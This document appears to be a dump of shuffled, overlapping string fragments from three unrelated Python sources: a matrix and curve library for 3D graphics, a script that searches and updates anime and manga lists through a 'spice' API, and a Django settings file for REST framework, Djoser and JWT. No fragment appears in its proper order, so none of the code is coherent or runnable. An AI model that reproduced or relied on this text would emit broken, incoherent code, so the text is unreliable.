t[1][2] = math.sin(theta) t[2][2]", "def make_scale(x, y, z): t = new_matrix() ident(t) t[0][0] =", "1 1 1 \"\"\" import math def make_bezier(): return [", "in range(4): m2[point][r] = (m1[0][r] * tmp[0] + m1[1][r] *", "new_matrix() ident(t) t[0][0] = x t[1][1] = y t[2][2] =", "t = new_matrix() ident(t) t[3][0] = x t[3][1] = y", "point += 1 def new_matrix(rows = 4, cols = 4):", "* m2 -> m2 def matrix_mult(m1, m2): point = 0", "math.cos(theta) return t #print the matrix such that it looks", "p1, p2, p3]] if t == 'hermite': curve = make_hermite()", "def new_matrix(rows = 4, cols = 4): m = []", "= (m1[0][r] * tmp[0] + m1[1][r] * tmp[1] + m1[2][r]", "= 0 for row in m2: #get a copy of", "'hermite': curve = make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs)", "m2): point = 0 for row in m2: #get a", "3, 0, 0], [1, 0, 0, 0] ] def make_hermite():", "the paramter matrix into an identity matrix #you may assume", "4, cols = 4): m = [] for c in", "y t[3][2] = z return t def make_scale(x, y, z):", "coefs def make_translate(x, y, z): t = new_matrix() ident(t) t[3][0]", "1 else: matrix[c][r] = 0 #multiply m1 by m2, modifying", "consider the lists like so: x0 x1 xn y0 y1", "t[2][1] = -math.sin(theta) t[1][2] = math.sin(theta) t[2][2] = math.cos(theta) return", "t[3][0] = x t[3][1] = y t[3][2] = z return", "-1, 0, 0] ] def generate_curve_coefs(p0, p1, p2, p3, t):", "1], [-2, 3, 0, 0], [1, -2, 1, 0], [1,", "[3, -6, 3, 0], [-3, 3, 0, 0], [1, 0,", "s+= str(matrix[c][r]) + ' ' s += '\\n' print (s)", "curve = make_bezier() matrix_mult(curve, coefs) return coefs def make_translate(x, y,", "str(matrix[c][r]) + ' ' s += '\\n' print (s) #turn", "+ m1[2][r] * tmp[2] + m1[3][r] * tmp[3]) point +=", "'' for r in range(len(matrix[0])): for c in range(len(matrix)): s+=", "def ident(matrix): for r in range(len(matrix[0])): for c in range(len(matrix)):", "= new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta) t[2][0]", "t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta) t[2][2]", "== c: matrix[c][r] = 1 else: matrix[c][r] = 0 #multiply", "lists like so: x0 x1 xn y0 y1 yn z0", "z, 1] point. For multiplication purposes, consider the lists like", "#print the matrix such that it looks like #the template", "so: x0 x1 xn y0 y1 yn z0 z1 ...", "matrix will be an N sized list of 4 element", "make_scale(x, y, z): t = new_matrix() ident(t) t[0][0] = x", "#you may assume matrix is square def ident(matrix): for r", "t[0][0] = x t[1][1] = y t[2][2] = z return", "matrix_mult(curve, coefs) return coefs def make_translate(x, y, z): t =", "new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] =", "r in range(len(matrix[0])): for c in range(len(matrix)): s+= str(matrix[c][r]) +", "t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta)", "r == c: matrix[c][r] = 1 else: matrix[c][r] = 0", "range(4): m2[point][r] = (m1[0][r] * tmp[0] + m1[1][r] * tmp[1]", "t == 'hermite': curve = make_hermite() else: curve = make_bezier()", "= math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotZ(theta): t", "row in m2: #get a copy of the next point", "curve = make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs) return", "in range(len(matrix[0])): for c in range(len(matrix)): if r == c:", "new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] =", "an N sized list of 4 element lists. Each individual", "ident(t) t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta)", "= y t[3][2] = z return t def make_scale(x, y,", "0], [1, -1, 0, 0] ] def generate_curve_coefs(p0, p1, p2,", "for c in range(cols): m.append([]) for r in range(rows): m[c].append(0)", "= math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta) t[1][1] =", "tmp[1] + m1[2][r] * tmp[2] + m1[3][r] * tmp[3]) point", "in range(cols): m.append([]) for r in range(rows): m[c].append(0) return m", "by m2, modifying m2 to be the product #m1 *", "t[2][2] = math.cos(theta) return t def make_rotZ(theta): t = new_matrix()", "y, z): t = new_matrix() ident(t) t[0][0] = x t[1][1]", "tmp[0] + m1[1][r] * tmp[1] + m1[2][r] * tmp[2] +", "m2 to be the product #m1 * m2 -> m2", "the lists like so: x0 x1 xn y0 y1 yn", "0, 0] ] def make_hermite(): return [ [2, -3, 0,", "= 1 else: matrix[c][r] = 0 #multiply m1 by m2,", "'\\n' print (s) #turn the paramter matrix into an identity", "coefs = [[p0, p1, p2, p3]] if t == 'hermite':", "return [ [2, -3, 0, 1], [-2, 3, 0, 0],", "0, 0] ] def generate_curve_coefs(p0, p1, p2, p3, t): coefs", "for c in range(len(matrix)): s+= str(matrix[c][r]) + ' ' s", "ident(t) t[3][0] = x t[3][1] = y t[3][2] = z", "N sized list of 4 element lists. Each individual list", "make_translate(x, y, z): t = new_matrix() ident(t) t[3][0] = x", "be the product #m1 * m2 -> m2 def matrix_mult(m1,", "comment def print_matrix(matrix): s = '' for r in range(len(matrix[0])):", "new_matrix(rows = 4, cols = 4): m = [] for", "print (s) #turn the paramter matrix into an identity matrix", "= 0 #multiply m1 by m2, modifying m2 to be", "t): coefs = [[p0, p1, p2, p3]] if t ==", "c in range(cols): m.append([]) for r in range(rows): m[c].append(0) return", "* tmp[0] + m1[1][r] * tmp[1] + m1[2][r] * tmp[2]", "= math.cos(theta) return t def make_rotZ(theta): t = new_matrix() ident(t)", "make_hermite(): return [ [2, -3, 0, 1], [-2, 3, 0,", "may assume matrix is square def ident(matrix): for r in", "t[1][2] = math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotY(theta):", "s += '\\n' print (s) #turn the paramter matrix into", "it looks like #the template in the top comment def", "#m1 * m2 -> m2 def matrix_mult(m1, m2): point =", "[] for c in range(cols): m.append([]) for r in range(rows):", "import math def make_bezier(): return [ [-1, 3, -3, 1],", "A matrix will be an N sized list of 4", "the top comment def print_matrix(matrix): s = '' for r", "yn z0 z1 ... zn 1 1 1 \"\"\" import", "3, -3, 1], [3, -6, 3, 0], [-3, 3, 0,", "ident(t) t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta) t[1][2] = math.sin(theta)", "[-2, 3, 0, 0], [1, -2, 1, 0], [1, -1,", "z1 ... zn 1 1 1 \"\"\" import math def", "identity matrix #you may assume matrix is square def ident(matrix):", "[1, -1, 0, 0] ] def generate_curve_coefs(p0, p1, p2, p3,", "p3, t): coefs = [[p0, p1, p2, p3]] if t", "= 4, cols = 4): m = [] for c", "x t[3][1] = y t[3][2] = z return t def", "an identity matrix #you may assume matrix is square def", "* tmp[2] + m1[3][r] * tmp[3]) point += 1 def", "def print_matrix(matrix): s = '' for r in range(len(matrix[0])): for", "if t == 'hermite': curve = make_hermite() else: curve =", "t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta) t[0][1] = math.sin(theta) t[1][1]", "y, z): t = new_matrix() ident(t) t[3][0] = x t[3][1]", "return t def make_rotZ(theta): t = new_matrix() ident(t) t[0][0] =", "else: matrix[c][r] = 0 #multiply m1 by m2, modifying m2", "product #m1 * m2 -> m2 def matrix_mult(m1, m2): point", "math.cos(theta) return t def make_rotZ(theta): t = new_matrix() ident(t) t[0][0]", "+ ' ' s += '\\n' print (s) #turn the", "for c in range(len(matrix)): if r == c: matrix[c][r] =", "range(len(matrix[0])): for c in range(len(matrix)): s+= str(matrix[c][r]) + ' '", "make_hermite() else: curve = make_bezier() matrix_mult(curve, coefs) return coefs def", "4 element lists. Each individual list will represent an [x,", "t #print the matrix such that it looks like #the", "looks like #the template in the top comment def print_matrix(matrix):", "+= 1 def new_matrix(rows = 4, cols = 4): m", "tmp[2] + m1[3][r] * tmp[3]) point += 1 def new_matrix(rows", "y0 y1 yn z0 z1 ... zn 1 1 1", "t[2][0] = math.sin(theta) t[2][2] = math.cos(theta) return t def make_rotZ(theta):", "p2, p3, t): coefs = [[p0, p1, p2, p3]] if", "t[0][1] = math.sin(theta) t[1][1] = math.cos(theta) return t #print the", "math.sin(theta) t[1][1] = math.cos(theta) return t #print the matrix such", "coefs) return coefs def make_translate(x, y, z): t = new_matrix()", "0, 0], [1, 0, 0, 0] ] def make_hermite(): return", "m = [] for c in range(cols): m.append([]) for r", "ident(matrix): for r in range(len(matrix[0])): for c in range(len(matrix)): if", "matrix is square def ident(matrix): for r in range(len(matrix[0])): for", "+ m1[1][r] * tmp[1] + m1[2][r] * tmp[2] + m1[3][r]", "z return t def make_rotX(theta): t = new_matrix() ident(t) t[1][1]", "make_rotY(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2] =", "m2[point][r] = (m1[0][r] * tmp[0] + m1[1][r] * tmp[1] +", "individual list will represent an [x, y, z, 1] point.", "to be the product #m1 * m2 -> m2 def", "def make_hermite(): return [ [2, -3, 0, 1], [-2, 3,", "is square def ident(matrix): for r in range(len(matrix[0])): for c", "print_matrix(matrix): s = '' for r in range(len(matrix[0])): for c", "math def make_bezier(): return [ [-1, 3, -3, 1], [3,", "= -math.sin(theta) t[2][0] = math.sin(theta) t[2][2] = math.cos(theta) return t", "= new_matrix() ident(t) t[0][0] = math.cos(theta) t[1][0] = -math.sin(theta) t[0][1]", "z0 z1 ... zn 1 1 1 \"\"\" import math", "def generate_curve_coefs(p0, p1, p2, p3, t): coefs = [[p0, p1,", "assume matrix is square def ident(matrix): for r in range(len(matrix[0])):", "-math.sin(theta) t[0][1] = math.sin(theta) t[1][1] = math.cos(theta) return t #print", "#get a copy of the next point tmp = row[:]", "* tmp[1] + m1[2][r] * tmp[2] + m1[3][r] * tmp[3])", "lists. Each individual list will represent an [x, y, z,", "z): t = new_matrix() ident(t) t[3][0] = x t[3][1] =", "t = new_matrix() ident(t) t[1][1] = math.cos(theta) t[2][1] = -math.sin(theta)", "will represent an [x, y, z, 1] point. For multiplication", "return t def make_rotY(theta): t = new_matrix() ident(t) t[0][0] =", "m1[3][r] * tmp[3]) point += 1 def new_matrix(rows = 4,", "z): t = new_matrix() ident(t) t[0][0] = x t[1][1] =", "a copy of the next point tmp = row[:] for", "modifying m2 to be the product #m1 * m2 ->", "m1[1][r] * tmp[1] + m1[2][r] * tmp[2] + m1[3][r] *", "t = new_matrix() ident(t) t[0][0] = x t[1][1] = y", "point tmp = row[:] for r in range(4): m2[point][r] =", "math.cos(theta) return t def make_rotY(theta): t = new_matrix() ident(t) t[0][0]", "def make_rotY(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2]", "-3, 1], [3, -6, 3, 0], [-3, 3, 0, 0],", "= [] for c in range(cols): m.append([]) for r in", "make_bezier(): return [ [-1, 3, -3, 1], [3, -6, 3,", "= x t[3][1] = y t[3][2] = z return t", "= math.cos(theta) return t #print the matrix such that it", "sized list of 4 element lists. Each individual list will", "t[3][2] = z return t def make_scale(x, y, z): t", "template in the top comment def print_matrix(matrix): s = ''", "= [[p0, p1, p2, p3]] if t == 'hermite': curve", "' ' s += '\\n' print (s) #turn the paramter", "#turn the paramter matrix into an identity matrix #you may", "in range(len(matrix)): if r == c: matrix[c][r] = 1 else:", "t = new_matrix() ident(t) t[0][0] = math.cos(theta) t[0][2] = -math.sin(theta)", "1 1 \"\"\" import math def make_bezier(): return [ [-1,", "z return t def make_scale(x, y, z): t = new_matrix()", "t def make_rotY(theta): t = new_matrix() ident(t) t[0][0] = math.cos(theta)", "m2 -> m2 def matrix_mult(m1, m2): point = 0 for", "tmp = row[:] for r in range(4): m2[point][r] = (m1[0][r]", "y1 yn z0 z1 ... zn 1 1 1 \"\"\"", "3, 0], [-3, 3, 0, 0], [1, 0, 0, 0]", "[ [2, -3, 0, 1], [-2, 3, 0, 0], [1,", "<reponame>kw1122/MKS66<gh_stars>0 \"\"\" A matrix will be an N sized list", "t[3][1] = y t[3][2] = z return t def make_scale(x,", "= math.cos(theta) t[0][2] = -math.sin(theta) t[2][0] = math.sin(theta) t[2][2] =", "the product #m1 * m2 -> m2 def matrix_mult(m1, m2):", "m1[2][r] * tmp[2] + m1[3][r] * tmp[3]) point += 1", "paramter matrix into an identity matrix #you may assume matrix", "zn 1 1 1 \"\"\" import math def make_bezier(): return", "purposes, consider the lists like so: x0 x1 xn y0", "return t def make_scale(x, y, z): t = new_matrix() ident(t)", "in range(len(matrix)): s+= str(matrix[c][r]) + ' ' s += '\\n'", "cols = 4): m = [] for c in range(cols):", "= y t[2][2] = z return t def make_rotX(theta): t", "xn y0 y1 yn z0 z1 ... zn 1 1", "tmp[3]) point += 1 def new_matrix(rows = 4, cols =", "p2, p3]] if t == 'hermite': curve = make_hermite() else:", "= 4): m = [] for c in range(cols): m.append([])" ]
[ "print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1))", "import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main():", "the first time a show that made me cringe'] shokugeki_data", "sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds", "made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes", "me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes =", "1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list =", "= spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var())", "Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma = spice.search_id(1,", "creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes =", "1 shokugeki_data.status = 1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'),", "anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2))) if __name__", "= spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score =", "print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading')", "print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734))", "import spice_api as spice def main(): creds = spice.load_auth_from_file('auth') print(creds)", "import BeautifulSoup import requests import sys, os from time import", "spice def main(): creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero", "spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime'))", "first time a show that made me cringe'] shokugeki_data =", "spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'),", "spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes = 1 shokugeki_data.status = 1", "show that made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters =", "print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2))) if", "print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes)", "print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status =", "= 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags =", "spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2))) if __name__ == '__main__':", "spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags = ['this the first time", "= 1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list", "print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status", "shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'),", "souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data", "BeautifulSoup import requests import sys, os from time import sleep", "Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'), creds)", "= 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-',", "= spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu',", "= 8 re_zero_data.tags = ['this the first time a show", "a show that made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters", "creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes())", "shokugeki_data.chapters = 13 shokugeki_data.volumes = 1 shokugeki_data.status = 1 shokugeki_data.score", "spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes", "shokugeki_data.volumes = 1 shokugeki_data.status = 1 shokugeki_data.score = 8 spice.update(shokugeki_data,", "spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score())", "'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total())", "creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara Hajimeru Isekai", "import sys, os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import", "results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title)", "creds) print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters)", "print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds)", "print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0", "creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days())", "spice.get_medium('anime'), creds) print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title)", "re_zero_data = spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score", "time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def", "= spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2))) if __name__ ==", "= ['this the first time a show that made me", "from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice", "= spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags = ['this the first", "Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'),", "13 shokugeki_data.volumes = 1 shokugeki_data.status = 1 shokugeki_data.score = 8", "print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient:", "sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds =", "print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1))", "bs4 import BeautifulSoup import requests import sys, os from time", "= 1 shokugeki_data.status = 1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757,", "1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2)))", "0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags = ['this", "'/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds = spice.load_auth_from_file('auth')", "<reponame>Nekmo/spice<gh_stars>0 from bs4 import BeautifulSoup import requests import sys, os", "print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter',", "shokugeki_data.status = 1 shokugeki_data.score = 8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds)", "time a show that made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga'))", "print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 =", "print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles()))", "= spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma", "spice.get_blank(spice.get_medium('anime')) re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8", "anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev())", "that made me cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13", "requests import sys, os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/')", "as spice def main(): creds = spice.load_auth_from_file('auth') print(creds) results =", "8 re_zero_data.tags = ['this the first time a show that", "Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma = spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data)", "re_zero_data.score = 8 re_zero_data.tags = ['this the first time a", "def main(): creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara", "print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10))", "print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids()))", "shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes = 1 shokugeki_data.status", "re_zero_data.episodes = 0 re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags", "45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score())", "= spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes = 1 shokugeki_data.status =", "main(): creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kara Hajimeru", "= spice.search_id(1, spice.get_medium('manga'), creds) print(souma.raw_data) print(souma.title) print(souma.chapters) print(souma.volumes) re_zero_data =", "['this the first time a show that made me cringe']", "print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2", "os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as", "print(anime_list.p_var()) print(anime_list.get_num_status(1)) print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734,", "print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'), 'Pickleplatter', creds) print(\"Similarity", "import requests import sys, os from time import sleep sys.path.insert(0,", "= 13 shokugeki_data.volumes = 1 shokugeki_data.status = 1 shokugeki_data.score =", "spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score())", "8 spice.update(shokugeki_data, 45757, spice.get_medium('manga'), creds) anime_list = spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds)", "spice_api as spice def main(): creds = spice.load_auth_from_file('auth') print(creds) results", "re_zero_data.tags = ['this the first time a show that made", "spice.get_list(spice.get_medium('ANIME'), 'Utagai-', creds) print(anime_list.avg_score()) print(anime_list.median_score()) print(anime_list.mode_score()) print(anime_list.extremes()) print(anime_list.p_stddev()) print(anime_list.p_var()) print(anime_list.get_num_status(1))", "print(creds) results = spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds)", "print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff()) anime_list2 = spice.get_list(spice.get_medium('ANIME'),", "cringe'] shokugeki_data = spice.get_blank(spice.get_medium('manga')) shokugeki_data.chapters = 13 shokugeki_data.volumes = 1", "re_zero_data.status = spice.get_status('reading') re_zero_data.score = 8 re_zero_data.tags = ['this the", "from bs4 import BeautifulSoup import requests import sys, os from", "sys, os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api", "'Pickleplatter', creds) print(\"Similarity coefficient: {}\".format(anime_list.compatibility(anime_list2))) if __name__ == '__main__': main()", "print(anime_list.get_total()) print(anime_list.get_days()) print(anime_list.exists(11734)) print(len(anime_list.get_ids())) print(len(anime_list.get_titles())) print(anime_list.get_status(1)) print(anime_list.get_score(10)) print(anime_list.exists_as_status(11734, 1)) print(anime_list.score_diff())", "spice.search('Re:Zero Kara Hajimeru Isekai Seikatsu', spice.get_medium('anime'), creds) print(results[0].title) souma =" ]
[ "------------------------------------------ # # Django REST Framework # # ------------------------------------------ #", "'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------ # # Simple JWT #", "a field in User model to be used as login", "'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF = 'project.urls' TEMPLATES = [ {", "# If True, you need to pass re_password to /users/", "default=1)) # 'DJANGO_ALLOWED_HOSTS' should be a single string of hosts", "# If True, register or activation endpoint # will send", "'user_create': 'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------ # # Simple JWT", "'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware',", "# Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES = [", "timedelta from celery.schedules import crontab from django.utils.translation import gettext_lazy as", "'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser',", "}, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, {", "'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], },", "'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 